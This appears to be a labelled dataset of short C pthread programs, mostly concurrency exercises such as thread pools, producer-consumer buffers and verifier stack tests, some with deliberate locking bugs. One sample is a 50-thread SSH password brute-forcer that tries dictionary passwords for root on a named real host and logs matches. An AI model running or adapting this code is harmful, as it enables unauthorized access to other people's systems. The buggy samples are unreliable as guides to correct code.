text
stringlengths
192
6.24k
label
int64
0
1
#include <pthread.h> void * start_job(void * args){ struct pool_args * pool_args = (struct pool_args *)args; struct job * job; while(1){ pthread_mutex_lock(pool_args->jobs->mutex); while(!pool_args->jobs->head){ if(pool_args->jobs->completed_jobs >= 1000){ pthread_cond_signal(pool_args->jobs->cond); pthread_mutex_unlock(pool_args->jobs->mutex); return 0; } pthread_cond_wait(pool_args->jobs->cond, pool_args->jobs->mutex); } job = pool_args->jobs->head; remove_job(pool_args->jobs, job); pool_args->jobs->current_jobs--; job->function(job->args); free(job); pool_args->jobs->completed_jobs++; pthread_cond_signal(pool_args->jobs->cond); pthread_mutex_unlock(pool_args->jobs->mutex); } return 0; } void * pool_thread_process(void * fd){ assert(fd); int * fd_int = (int *)fd; client_process(*fd_int); free(fd_int); return 0; } void process_request_thread_pool(int max_size, int accept_fd){ struct pool_args * pool_args = (struct pool_args *)malloc(sizeof(struct pool_args)); pool_args->pool_max_size = max_size; pool_args->jobs = (struct job_list *)malloc(sizeof(struct job_list)); pool_args->jobs->cond = (pthread_cond_t *)malloc(sizeof(pthread_cond_t)); pool_args->jobs->mutex = (pthread_mutex_t *)malloc(sizeof(pthread_mutex_t)); pthread_mutex_init(pool_args->jobs->mutex, 0); pthread_cond_init(pool_args->jobs->cond, 0); pool_args->jobs->head = 0; pool_args->jobs->tail = 0; pool_args->jobs->current_jobs = 0; pool_args->jobs->completed_jobs = 0; struct thread_list * thread_list = (struct thread_list *)malloc(sizeof(struct thread_list)); thread_list->head = 0; thread_list->tail = 0; int i; for(i = 0; i < max_size; ++i){ struct thread_node * node = (struct thread_node *)malloc(sizeof(struct thread_node)); node->thread = (pthread_t *)malloc(sizeof(pthread_t)); pthread_create(node->thread, 0, start_job, pool_args); insert_thread_list_tail(node, thread_list); } i = 0; while(i < 1000){ pthread_mutex_lock(pool_args->jobs->mutex); while(pool_args->jobs->current_jobs >= pool_args->pool_max_size){ pthread_cond_wait(pool_args->jobs->cond, pool_args->jobs->mutex); } struct job * job = (struct job *)malloc(sizeof(struct job)); int * fd_ptr = (int *)malloc(sizeof(int)); assert(fd_ptr); *fd_ptr = server_accept(accept_fd); assert(*fd_ptr > 0); job->args = fd_ptr; job->function = pool_thread_process; insert_job_tail(pool_args->jobs, job); pool_args->jobs->current_jobs++; pthread_cond_signal(pool_args->jobs->cond); pthread_mutex_unlock(pool_args->jobs->mutex); i++; } pthread_mutex_lock(pool_args->jobs->mutex); while(pool_args->jobs->completed_jobs < 1000){ pthread_cond_wait(pool_args->jobs->cond, pool_args->jobs->mutex); } pthread_cond_broadcast(pool_args->jobs->cond); pthread_mutex_unlock(pool_args->jobs->mutex); struct thread_node * head = thread_list->head; pthread_t * thread; while(head){ thread = head->thread; pthread_join(*thread, 0); free(thread); remove_from_thread_list(head, thread_list); free(head); head = thread_list->head; } free(thread_list); pthread_cond_destroy(pool_args->jobs->cond); free(pool_args->jobs->cond); pthread_mutex_destroy(pool_args->jobs->mutex); free(pool_args->jobs->mutex); free(pool_args->jobs); free(pool_args); }
1
#include <pthread.h> pthread_mutex_t dict_mutex; pthread_mutex_t log_mutex; char* read_next_line(FILE* file) { char* ret = 0; size_t size = 0; size_t len; pthread_mutex_lock(&dict_mutex); len = getline(&ret, &size, file); if (len == -1) { perror("read_next_line"); free(ret); ret = 0; } else { ret[len - 1] = '\\0'; } pthread_mutex_unlock(&dict_mutex); return ret; } FILE* log_file; void* attack(void* f) { char* sshpass_args[] = {"sshpass", "-p", "", "ssh", "root@encina.usal.es", 0}; FILE* file = (FILE*)f; char* line; int return_status; printf("In attack\\n"); while ((line = read_next_line(file))) { printf("Read: %s\\n", line); switch (fork()) { case -1: perror("fork"); exit(1); case 0: sshpass_args[2] = line; execvp(sshpass_args[0], sshpass_args); perror("execvp"); continue; default: break; } do { wait(&return_status); } while (!WIFEXITED(return_status)); if (WEXITSTATUS(return_status) == 0) { do { pthread_mutex_lock(&log_mutex); fprintf(log_file, "Found matching password: %s" "\\n", line); pthread_mutex_unlock(&log_mutex); } while (0); do { pthread_mutex_lock(&log_mutex); fprintf(log_file, "Terminating" "\\n"); pthread_mutex_unlock(&log_mutex); } while (0); free(line); exit(0); } else { do { pthread_mutex_lock(&log_mutex); fprintf(log_file, "%s:0" "\\n", line); pthread_mutex_unlock(&log_mutex); } while (0); } printf("Out"); do { pthread_mutex_lock(&log_mutex); fprintf(log_file, "Terminating: No matches" "\\n"); pthread_mutex_unlock(&log_mutex); } while (0); free(line); } return 0; } int main(int argc, char** argv) { const char* dictionary = "dictionary.txt"; size_t i; FILE* file; pthread_t threads[50]; pthread_attr_t attrs; if (argc > 1) dictionary = argv[1]; file = fopen(dictionary, "rb"); log_file = fopen("attack.log", "wb+"); if (log_file == 0) { log_file = stderr; do { pthread_mutex_lock(&log_mutex); fprintf(log_file, "WARNING: log file not created, using stderr" "\\n"); pthread_mutex_unlock(&log_mutex); } while (0); } if (file == 0) { perror("Dictionary open failed"); exit(1); } pthread_attr_init(&attrs); for (i = 0; i < 50; ++i) { if (pthread_create(&threads[i], &attrs, attack, file) != 0) { perror("Thread creation"); exit(1); } } for (i = 0; i < 50; ++i) pthread_join(threads[i], 0); return 0; }
0
#include <pthread.h> pthread_mutex_t coarse_mutex; void* value; int key; volatile struct _setos_node* next; } setos_node; setos_node* head; int setos_init(void) { if (pthread_mutex_init(&coarse_mutex, 0) != 0) { printf("mutex init failed\\n"); } head = (setos_node*) malloc(sizeof(setos_node)); head->next = 0; head->key = INT_MIN; return 0; } int setos_free(void) { free(head); return 0; } int setos_add(int key, void* value) { setos_node* new_node = (setos_node*) malloc(sizeof(setos_node)); pthread_mutex_lock(&coarse_mutex); volatile setos_node* node = head; volatile setos_node* prev = 0; while ((node != 0) && (node->key < key)) { prev = node; node = node->next; } if ((node != 0) && (node->key == key)) return 0; new_node->key = key; new_node->value = value; new_node->next = node; prev->next = new_node; pthread_mutex_unlock(&coarse_mutex); return 1; } int setos_remove(int key, void** value) { pthread_mutex_lock(&coarse_mutex); volatile setos_node* node = head->next; volatile setos_node* prev = head; while (node != 0) { if (node->key == key) { if (value != 0) *value = node->value; prev->next = node->next; return 1; } prev = node; node = node->next; } pthread_mutex_unlock(&coarse_mutex); return 0; } int setos_contains(int key) { pthread_mutex_lock(&coarse_mutex); volatile setos_node* node = head->next; while (node != 0) { if (node->key == key) return 1; node = node->next; } pthread_mutex_unlock(&coarse_mutex); return 0; }
1
#include <pthread.h> pthread_mutex_t mutex; void *thrd_func(void *arg); int main(){ pthread_t thread[3]; void *tret; pthread_mutex_init(&mutex,0); for(int i=0;i<3;i++){ if (pthread_create(&thread[i],0,thrd_func,(void*)(long)i)!=0) { printf("Create thread %d error!\\n",i); exit(1); } else printf("Create thread %d success!\\n",i); } for(int i=0;i<3;i++){ if (pthread_join(thread[i],&tret)!=0){ printf("Join thread %d error!\\n",i); exit(1); }else printf("Join thread %d success!\\n",i); } pthread_mutex_destroy(&mutex); return 0; } void *thrd_func(void *arg){ long int thrd_num=(long)arg; int delay_time,count; srand((int)time(0)); if(pthread_mutex_lock(&mutex)!=0) { printf("Thread %ld lock failed!\\n",thrd_num); pthread_exit(0); } printf("Thread %ld is starting.\\n",thrd_num); for(count=0;count<5;count++) { delay_time=(int)(4*(rand()/(double)32767))+1; sleep(delay_time); printf("\\tThread %ld:job %d delay =%d.\\n",thrd_num,count,delay_time); } printf("Thread %ld is exiting.\\n",thrd_num); pthread_mutex_unlock(&mutex); pthread_exit(0); }
0
#include <pthread.h> void *fly(long droneid, int *homeRow, int *homeCol, int *targetRow, int *targetCol, int mission, int *state, int *active){ if(*targetRow > *homeRow){ increaseRow( droneid, homeRow, homeCol, targetRow, targetCol); locate(droneid); return; } if(*targetRow < *homeRow){ if(*targetCol > *homeCol){ increaseCol(droneid, homeRow, homeCol, targetRow, targetCol); locate(droneid); return; } if(*targetCol < *homeCol){ decreaseCol(droneid, homeRow, homeCol, targetRow, targetCol); locate(droneid); return; } if(*targetCol == *homeCol){ decreaseRow(droneid, homeRow, homeCol, targetRow, targetCol); locate(droneid); return; } else return; } if(*targetRow == *homeRow){ if(*targetCol > *homeCol){ increaseCol(droneid, homeRow, homeCol, targetRow, targetCol); locate(droneid); return; } if(*targetCol < *homeCol){ decreaseCol(droneid, homeRow, homeCol, targetRow, targetCol); locate(droneid); return; } } if(*targetCol == *homeCol){ if(mission==0){ printf("Target reached by drone %d.\\n", droneid); *state = 7; sleep(2); return; }else{ printf("Drone %d is ready to land at the base.\\n", droneid); *state = 9; sleep(2); return; } }else { printf("Drone %d lost. Send out the troops!", droneid); *active = 0; sleep(2); return; } return; } void *deliverPayload(long droneid, int *targetRow, int *targetCol, int *mission){ printf("Drone %d has delivered its payload! Time to head home!\\n", droneid); *targetRow = 25; *targetCol = 25; *mission = 1; sleep(1); } void *returnHome(long droneid){ printf("Drone %d is now enroute to base.\\n", droneid); } void *land(long droneid, int *homeRow, int *homeCol){ printf("Drone %d on final approach. Mission Complete!\\n", droneid); pthread_mutex_lock(&mutex3); d.grid[*homeRow][*homeCol] = 0; pthread_mutex_unlock(&mutex3); } void *locate(long id){ for(r=0;r<50;r++){ for(c=0;c<50;c++){ if(d.grid[r][c]==id){ printf("Drone %d is currently at (%d,%d).\\n", id, r, c); } } } } void *increaseRow(long droneid, int *homeRow, int *homeCol, int *targetRow, int *targetCol){ if(d.grid[*homeRow+1][*homeCol]==0){ pthread_mutex_lock(&mutex2); ++(*homeRow); d.grid[*homeRow][*homeCol] = droneid; d.grid[*homeRow-1][*homeCol]=0; pthread_mutex_unlock(&mutex2); }else { avoid( droneid, homeRow, homeCol, targetRow, targetCol); sleep(1); } } void *increaseCol(long droneid, int *homeRow, int *homeCol, int *targetRow, int *targetCol){ if(d.grid[*homeRow][*homeCol+1]==0){ pthread_mutex_lock(&mutex2); ++(*homeCol); d.grid[*homeRow][*homeCol] = droneid; d.grid[*homeRow][*homeCol-1]=0; pthread_mutex_unlock(&mutex2); }else { avoid( droneid, homeRow, homeCol, targetRow, targetCol); sleep(1); } } void *decreaseRow(long droneid, int *homeRow, int *homeCol, int *targetRow, int *targetCol){ if(d.grid[*homeRow-1][*homeCol]==0){ pthread_mutex_lock(&mutex2); --(*homeRow); d.grid[*homeRow][*homeCol] = droneid; d.grid[*homeRow+1][*homeCol]=0; pthread_mutex_unlock(&mutex2); }else { avoid( droneid, homeRow, homeCol, targetRow, targetCol); sleep(1); } } void *decreaseCol(long droneid, int *homeRow, int *homeCol, int *targetRow, int *targetCol){ if(d.grid[*homeRow][*homeCol-1]==0){ pthread_mutex_lock(&mutex2); --(*homeCol); d.grid[*homeRow][*homeCol] = droneid; d.grid[*homeRow][*homeCol+1]=0; pthread_mutex_unlock(&mutex2); }else { avoid( droneid, homeRow, homeCol, targetRow, targetCol); sleep(1); } }
1
#include <pthread.h> pthread_cond_t cond1,cond2; { int ticketcount; pthread_mutex_t lock; }NODE,*pNODE; void* sale1(void* args) { pNODE p = (pNODE)args; while(1){ pthread_mutex_lock(&p->lock); if(p->ticketcount > 0){ printf("sale1 sell the ticket is:%d\\n",p->ticketcount); sleep(2); p->ticketcount--; pthread_mutex_unlock(&p->lock); printf("sale1 finished.\\n"); pthread_exit(0); }else { pthread_mutex_unlock(&p->lock); pthread_cond_signal(&cond2); pthread_cond_wait(&cond1,&p->lock); } } } void* sale2(void* args) { pNODE p = (pNODE)args; while(1){ pthread_mutex_lock(&p->lock); if(p->ticketcount>0){ printf("sale 2 sell the ticket is:%d\\n",p->ticketcount); sleep(2); p->ticketcount--; pthread_mutex_unlock(&p->lock); printf("sale 2 finished.\\n"); } else { pthread_mutex_unlock(&p->lock); pthread_cond_signal(&cond1); pthread_cond_wait(&cond2,&p->lock); } sleep(1); } } int main(int argc,char* argv[]) { pthread_t thd1 =0; pthread_t thd2 =0; NODE anode; memset(&anode,0,sizeof(anode)); if(pthread_mutex_init(&anode.lock, 0)!=0) { printf("mutex_init fail!\\n"); exit(1); } anode.ticketcount = 10; if(pthread_cond_init(&cond1,0)) { printf("cond_init fail!\\n"); exit(1); } if(pthread_cond_init(&cond2,0)) { printf("cond_init fail!\\n"); exit(1); } pthread_create(&thd1,0,sale1,(void*)&anode); pthread_create(&thd2,0,sale2,(void*)&anode); while(1){ pthread_mutex_lock(&anode.lock); if(anode.ticketcount > 0) { pthread_cond_wait(&cond2,&anode.lock); } anode.ticketcount += 5; printf("ticket on!\\n"); pthread_cond_signal(&cond1); pthread_mutex_unlock(&anode.lock); } printf("ticketcount : %d\\n",anode.ticketcount); pthread_join(thd1,0); pthread_join(thd2,0); pthread_cond_destroy(&cond1); pthread_cond_destroy(&cond2); return 0; }
0
#include <pthread.h> struct sbuf_t{ int buff[5]; int in; int out; sem_t full; sem_t empty; pthread_mutex_t mutex; }; struct sbuf_t shared; void* producer(void* t){ for(int i=0;i<10;i++){ sem_wait(&shared.empty); pthread_mutex_lock(&shared.mutex); shared.buff[shared.in] = i+1; shared.in = (++shared.in)%5; printf("Produced %d by Producer %d\\n",i+1,*(int *)t); for(int j=0;j<5;j++){ printf("%d ",shared.buff[j]); } printf("\\n"); pthread_mutex_unlock(&shared.mutex); sem_post(&shared.full); } return 0; } void* consumer(void* t){ for(int i=0;i<10;i++){ sem_wait(&shared.full); pthread_mutex_lock(&shared.mutex); printf("Consumed %d by Consumer %d\\n",shared.buff[shared.out],*(int *)t); shared.buff[shared.out] = 0; shared.out = (++shared.out)%5; for(int j=0;j<5;j++){ printf("%d ",shared.buff[j]); } printf("\\n"); pthread_mutex_unlock(&shared.mutex); sem_post(&shared.empty); } return 0; } int main(){ pthread_t p,c; shared.in = 0; shared.out = 0; sem_init(&shared.full,0,0); sem_init(&shared.empty,0,5); pthread_mutex_init(&shared.mutex,0); for(int i=0;i<5;i++){ int index = i; pthread_create(&p,0,producer,&index); } for(int i=0;i<5;i++){ int index = i; pthread_create(&p,0,consumer,&index); } pthread_exit(0); return 0; }
1
#include <pthread.h> static int rpn2c_current_number = 0; static int rpn2c_current_count = 0; pthread_mutex_t rpn2c_current_mutex; FILE* rpn2c_outputPipeHandle; FILE* rpn2c_inputPipeHandle; pthread_t rpn2c_pipeReadThread = 0; char* keyMap[] = { " -+_()%=0", "abcABC2", "defDEF3", "ghiGHI4", "jklJKL5", "mnoMNO6", "pqrsPQRS7", "tuvTUV8", "wxyzWXYZ9" }; int keyMapMod[] = { 9, 9, 7, 7, 7, 7, 7, 9, 7, 9 }; void writeCharToOutput(){ pthread_mutex_lock(&rpn2c_current_mutex); int number = rpn2c_current_number; int count = rpn2c_current_count; rpn2c_current_count = 0; pthread_mutex_unlock(&rpn2c_current_mutex); count--; fputc(keyMap[number][count%keyMapMod[number]], rpn2c_outputPipeHandle); fflush(rpn2c_outputPipeHandle); } void *rpn2c_processTimeout(void *arg) { usleep(500000); writeCharToOutput(); } void *rpn2c_processPipeRead(void *arg) { pthread_t processNumber_thread; while(feof(rpn2c_inputPipeHandle)==0){ char readedChar = fgetc(rpn2c_inputPipeHandle); int readedNumber = readedChar-'0'; pthread_cancel(processNumber_thread); if(readedChar != 'D'){ pthread_create(&processNumber_thread, 0, rpn2c_processTimeout, 0); pthread_mutex_lock(&rpn2c_current_mutex); if(rpn2c_current_count != 0){ if(rpn2c_current_number == readedNumber){ rpn2c_current_count++; }else{ pthread_mutex_unlock(&rpn2c_current_mutex); writeCharToOutput(); pthread_mutex_lock(&rpn2c_current_mutex); rpn2c_current_count = 1; } }else{ rpn2c_current_count = 1; } rpn2c_current_number = readedNumber; pthread_mutex_unlock(&rpn2c_current_mutex); } } } void rpn2c_init(int inputPipe, int outputPipe){ rpn2c_inputPipeHandle = fdopen(inputPipe, "r"); rpn2c_outputPipeHandle = fdopen(outputPipe, "w"); pthread_create(&rpn2c_pipeReadThread, 0, rpn2c_processPipeRead, 0); } void rpn2c_quit(){ pthread_cancel(rpn2c_pipeReadThread); fclose(rpn2c_inputPipeHandle); fclose(rpn2c_outputPipeHandle); }
0
#include <pthread.h>extern void __VERIFIER_error() ; unsigned int __VERIFIER_nondet_uint(); static int top=0; static unsigned int arr[(400)]; pthread_mutex_t m; _Bool flag=(0); void error(void) { ERROR: __VERIFIER_error(); return; } void inc_top(void) { top++; } void dec_top(void) { top--; } int get_top(void) { return top; } int stack_empty(void) { (top==0) ? (1) : (0); } int push(unsigned int *stack, int x) { if (top==(400)) { printf("stack overflow\\n"); return (-1); } else { stack[get_top()] = x; inc_top(); } return 0; } int pop(unsigned int *stack) { if (top==0) { printf("stack underflow\\n"); return (-2); } else { dec_top(); return stack[get_top()]; } return 0; } void *t1(void *arg) { int i; unsigned int tmp; for( i=0; i<(400); i++) { pthread_mutex_lock(&m); tmp = __VERIFIER_nondet_uint()%(400); if ((push(arr,tmp)==(-1))) error(); pthread_mutex_unlock(&m); } } void *t2(void *arg) { int i; for( i=0; i<(400); i++) { pthread_mutex_lock(&m); if (top>0) { if ((pop(arr)==(-2))) error(); } pthread_mutex_unlock(&m); } } int main(void) { pthread_t id1, id2; pthread_mutex_init(&m, 0); pthread_create(&id1, 0, t1, 0); pthread_create(&id2, 0, t2, 0); pthread_join(id1, 0); pthread_join(id2, 0); return 0; }
1
#include <pthread.h>extern void __VERIFIER_error() ; unsigned int __VERIFIER_nondet_uint(); static int top=0; static unsigned int arr[(400)]; pthread_mutex_t m; _Bool flag=(0); void error(void) { ERROR: __VERIFIER_error(); return; } void inc_top(void) { top++; } void dec_top(void) { top--; } int get_top(void) { return top; } int stack_empty(void) { (top==0) ? (1) : (0); } int push(unsigned int *stack, int x) { if (top==(400)) { printf("stack overflow\\n"); return (-1); } else { stack[get_top()] = x; inc_top(); } return 0; } int pop(unsigned int *stack) { if (get_top()==0) { printf("stack underflow\\n"); return (-2); } else { dec_top(); return stack[get_top()]; } return 0; } void *t1(void *arg) { int i; unsigned int tmp; for( i=0; i<(400); i++) { pthread_mutex_lock(&m); tmp = __VERIFIER_nondet_uint()%(400); if (push(arr,tmp)==(-1)) error(); flag=(1); pthread_mutex_unlock(&m); } } void *t2(void *arg) { int i; for( i=0; i<(400); i++) { pthread_mutex_lock(&m); if (flag) { if (!(pop(arr)!=(-2))) error(); } pthread_mutex_unlock(&m); } } int main(void) { pthread_t id1, id2; pthread_mutex_init(&m, 0); pthread_create(&id1, 0, t1, 0); pthread_create(&id2, 0, t2, 0); pthread_join(id1, 0); pthread_join(id2, 0); return 0; }
0
#include <pthread.h> pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; pthread_cond_t condition = PTHREAD_COND_INITIALIZER; volatile int tour = 0; void* travail (void* _numero) { int reste = ((_numero != 0) ? 0 : 1); int i; for(i=0; (i < 10); i++) { pthread_mutex_lock(&mutex); while ((tour % 2) != reste) { pthread_cond_wait(&condition, &mutex); } pthread_mutex_unlock(&mutex); if (reste == 0) printf("Pair (tour=%d)\\n", tour); else printf("Impair (tour=%d)\\n", tour); sleep(1); pthread_mutex_lock(&mutex); tour++; pthread_cond_broadcast(&condition); pthread_mutex_unlock(&mutex); } return 0; } int main (void) { pthread_t filsA, filsB; if (pthread_create(&filsA, 0, travail, 0 )) perror("thread"); if (pthread_create(&filsB, 0, travail, "" )) perror("thread"); if (pthread_join(filsA, 0)) perror("pthread_join"); if (pthread_join(filsB, 0)) perror("pthread_join"); printf("Fin du pere\\n") ; return (0); }
1
#include <pthread.h> pthread_mutex_t m1 = PTHREAD_MUTEX_INITIALIZER; pthread_mutex_t m2 = PTHREAD_MUTEX_INITIALIZER; sem_t s1; void *thread1(void *args) { while(1) { sem_wait(&s1); pthread_mutex_lock(&m1); pthread_mutex_lock(&m2); printf("thread1\\n"); pthread_mutex_unlock(&m2); pthread_mutex_unlock(&m1); sem_post(&s1); sleep(1); } } void *thread2(void *args) { while(1) { sem_wait(&s1); pthread_mutex_lock(&m2); pthread_mutex_lock(&m1); printf("thread2\\n"); pthread_mutex_unlock(&m1); pthread_mutex_unlock(&m2); sem_post(&s1); sleep(1); } } int main(void) { int rc,t = 0; pthread_t t1, t2; sem_init(&s1, 0, 1); printf("Creating thread...\\n"); pthread_create(&t1, 0, thread1, (void *)t); pthread_create(&t2, 0, thread2, (void *)t); pthread_join(t1, 0); pthread_join(t2, 0); printf("Create thread finish\\n"); pthread_mutex_destroy(&m1); pthread_mutex_destroy(&m2); sem_destroy(&s1); return 0; }
0
#include <pthread.h> int count; int blocksize; double sum; int max_val; pthread_mutex_t lock; void *thread_sum(void *arg) { int * iptr = (int *)arg; int myid = *iptr; int mywork; int start, end, i; double mysum; printf("thread_sum: start myid=%d count=%d\\n", myid, count); mywork = 0; pthread_mutex_lock(&lock); while (count <= max_val) { start = count; count = count + blocksize; end = count; pthread_mutex_unlock(&lock); if (end > max_val) end = max_val+1; mysum = 0; for (i=start; i<end; i++) { mywork++; mysum = mysum + i; } pthread_mutex_lock(&lock); sum = sum + mysum; pthread_mutex_unlock(&lock); pthread_mutex_lock(&lock); } pthread_mutex_unlock(&lock); printf("thread_sum: end myid=%d mywork=%d\\n", myid, mywork); return(0); } int main(int argc, char **argv) { int nthreads; double sum2; int i; int * myid; pthread_t * threads; void * dummy; if (argc != 4) { printf("Usage: ./sum_lock nthreads blocksize max_val\\n"); printf("\\n"); return(0); } i = 1; nthreads = atoi(argv[i]); i++; blocksize = atoi(argv[i]); i++; max_val = atol(argv[i]); i++; printf("nthreads = %d\\nmax_val = %d\\n", nthreads, max_val); threads = (pthread_t *)malloc(sizeof(pthread_t)*nthreads); assert(threads != 0); myid = (int *)malloc(sizeof(int)*nthreads); assert(myid != 0); pthread_mutex_init(&lock, 0); count = 0; sum = 0; for (i=0; i<nthreads; i++) { myid[i] = i; int rc = pthread_create( &threads[i], 0, thread_sum, (void *) &myid[i] ); if (rc) { printf("ERROR; return code from pthread_create() is %d\\n", rc); exit(-1); } } for (i=0; i<nthreads; i++) { pthread_join(threads[i], &dummy); } pthread_mutex_destroy(&lock); sum2 = max_val; sum2 = 0.5 * sum2 * (sum2+1); printf("Calculated Sum = %lf should be %lf\\n", sum, sum2); pthread_exit(0); }
1
#include <pthread.h> char caract; int freq; }lFreq; int fd; int inc; }readC; int realtime; lFreq freqlCresc[FREQSIZE]; lFreq oldFreqlCresc[FREQSIZE]; int verificaTop5(){ int i=0; if(showMsg == 1) printf("\\nVerificar de top5\\n"); for(i=FREQSIZE-1;i>FREQSIZE-5;i--){ if(oldFreqlCresc[i].caract != freqlCresc[i].caract){ if(showMsg == 1) printf("\\nAlteração de top5 - %c - %c\\n",oldFreqlCresc[i].caract,freqlCresc[i].caract); return 1; } } return 0; } int orderDesc(int top){ int i=0,j=0,fpRes; lFreq aux; char * result, * resAux; result = malloc(MALLOCMAXSIZE); resAux = malloc(MALLOCMINSIZE); for(i=0;i<FREQSIZE;i++){ freqlCresc[i].freq = freql[i]; freqlCresc[i].caract = i+96; } for(i=0;i<FREQSIZE-1;i++){ for(j=0;j<FREQSIZE-1;j++){ if(freqlCresc[j+1].freq < freqlCresc[j].freq){ aux = freqlCresc[j]; freqlCresc[j] = freqlCresc[j+1]; freqlCresc[j+1] = aux; } } } int topV=0; if(top != 25) topV = verificaTop5(); if(top == 25 || (topV == 1 && top == 6) ){ for(i=0;i<FREQSIZE;i++){ oldFreqlCresc[i].freq = freqlCresc[i].freq; oldFreqlCresc[i].caract = freqlCresc[i].caract; } for(i=FREQSIZE-1;i>FREQSIZE-top;i--) { sprintf(resAux, "[%c,%d] \\n", freqlCresc[i].caract,freqlCresc[i].freq); strcat(result,resAux); } fpRes = open("/tmp/sosh.results", O_WRONLY); if (write(fpRes,result, strlen(result)) == -1){ perror("writing to FIFO"); exit(1); } } sleep(1000); close(fpRes); free(result); free(resAux); return 0; } int freq(char * string) { int loop=0; int iascii=0; for(loop=0; loop<strlen(string); loop++) string[loop]=tolower(string[loop]); if(showMsg == 1) printf("\\nlido da FIFO: '%s' \\n", string); for(loop=0; loop<strlen(string); loop++) { iascii = (int) string[loop]; iascii = iascii-96; if(iascii > 0 && iascii < FREQSIZE) freql[iascii]+=1; } return 0; } int makeResultsFIFO(){ if (mkfifo("/tmp/sosh.results", 0660) == -1){ remove("/tmp/sosh.results"); if (mkfifo("/tmp/sosh.results", 0660) == -1){ perror("creating FIFO"); exit(1); } } return 0; } void *readCmdTh() { int fpCmd; char * buf; buf = malloc(MALLOCMINSIZE); if(showMsg == 1) printf("\\nAbrindo FIFO \\"/tmp/sosh.cmd \\"...\\n"); fpCmd = open("/tmp/sosh.cmd", O_RDONLY); if(fpCmd == -1){ perror("Error opening FIFO '/tmp/sosh.cmd'"); exit(1); } if(showMsg == 1) printf("\\nLendo da FIFO \\"/tmp/sosh.cmd \\"\\n"); int ret = read(fpCmd,buf, MALLOCMINSIZE); if(ret == -1){ perror("Error reading FIFO '/tmp/sosh.cmd'"); exit(1); } if(strcmp(buf,"ON")==0) realtime = 1; if(strcmp(buf,"OFF")==0) realtime = 0; if(strcmp(buf,"stats")==0){ if(showMsg == 1) printf("\\nActualizacao das frequencias\\n"); freq(buf); if(showMsg == 1) printf("\\nEnviar resultados...\\n"); orderDesc(25); free(buf); } close(fpCmd); pthread_exit(0); } int readCmd(){ pthread_t threadId; if (pthread_create(&threadId, 0, readCmdTh,&threadId) != 0) exit(-1); return 0; } void *readCanalTh(void* fd){ readC* structCanal = (readC*) fd; if(structCanal->inc != 0) pthread_mutex_lock(&Mutex); int l; char * buf; buf = malloc(MALLOCMAXSIZE); l = readline(structCanal->fd,buf, MALLOCMAXSIZE); if(l == -1){ perror("Error reading FIFO '/tmp/sosh.canal'"); exit(1); } if(showMsg == 1) printf("\\nActualizacao das frequencias\\n"); freq(buf); if(realtime == 1) orderDesc(6); pthread_mutex_unlock(&Mutex); pthread_exit(0); } int readCanal(){ pthread_t threadId; int fpCanal; int incr=0; readC infoCanal; if(showMsg == 1) printf("Abrindo FIFO \\"/tmp/sosh.canal \\"..."); fpCanal = open("/tmp/sosh.canal", O_RDONLY); infoCanal.fd = fpCanal; if(fpCanal == -1){ perror("Error opening FIFO '/tmp/sosh.canal'"); exit(1); } for(incr=0;incr<numeroThreads;incr++){ infoCanal.inc = incr; if (pthread_create(&threadId, 0, readCanalTh,(void *) &infoCanal) != 0) exit(-1); } return 0; } int main (int argc, char **argv){ setbuf(stdout, 0); setbuf(stdin, 0); showMsg = 0; numeroThreads = 1; realtime = 0; int c; while ((c=getopt(argc, argv, "vt:")) != -1) { if(c == 'v'){ printf("opcao -v \\n"); showMsg = 1; } if(c == 't'){ numeroThreads = atoi((char*)optarg); printf("opcao -t com %d threads \\n",numeroThreads); } } makeResultsFIFO(); int i; for(i=0; i<FREQSIZE;i++) freql[i]=0; while(1){ readCmd(); readCanal(); } return 0; }
0
#include <pthread.h> pthread_cond_t cond = PTHREAD_COND_INITIALIZER; pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; int num = 0; void *thread_efun() { pthread_mutex_lock(&mutex); do { if( num%2 == 0 ) { printf("%d ", num); num++; } else pthread_mutex_unlock(&mutex); }while(num <= 100); pthread_exit(0); } void *thread_ofun() { pthread_mutex_lock(&mutex); do{ if( (num%2 != 0) ) { printf("%d ", num); num++; } else pthread_mutex_unlock(&mutex); }while(num <= 100); pthread_exit(0); } int main() { int ret = 0; pthread_t thread[2]; ret = pthread_create(&thread[0], 0, &thread_efun, 0); if(ret) { perror("pthread_create failed: \\n"); return -1; } ret = pthread_create(&thread[1], 0, &thread_ofun, 0); if(ret) { perror("pthread_create failed: \\n"); return -1; } ret = pthread_join(thread[0], 0); if(ret) { perror("pthread_join failed: \\n"); return -1; } ret = pthread_join(thread[1], 0); if(ret) { perror("pthread_join failed: \\n"); return -1; } return 0; }
1
#include <pthread.h> static pthread_mutex_t mtx = PTHREAD_MUTEX_INITIALIZER; static pthread_cond_t cond = PTHREAD_COND_INITIALIZER; struct node { int n_number; struct node *n_next; } *head = 0; static void cleanup_handler(void *arg) { printf("Cleanup handler of second thread./n"); free(arg); (void)pthread_mutex_unlock(&mtx); } static void *thread_func(void *arg) { struct node *p = 0; pthread_cleanup_push(cleanup_handler, p); while (1) { pthread_mutex_lock(&mtx); while (head == 0) { pthread_cond_wait(&cond, &mtx); } p = head; head = head->n_next; printf("Got %d from front of queue/n", p->n_number); free(p); pthread_mutex_unlock(&mtx); } pthread_cleanup_pop(0); return 0; } int main(void) { pthread_t tid; int i; struct node *p; pthread_create(&tid, 0, thread_func, 0); for (i = 0; i < 10; i++) { p = malloc(sizeof(struct node)); p->n_number = i; pthread_mutex_lock(&mtx); p->n_next = head; head = p; pthread_cond_signal(&cond); pthread_mutex_unlock(&mtx); sleep(1); } printf("thread 1 wanna end the line.So cancel thread 2./n"); pthread_cancel(tid); pthread_join(tid, 0); printf("All done -- exiting/n"); return 0; }
0
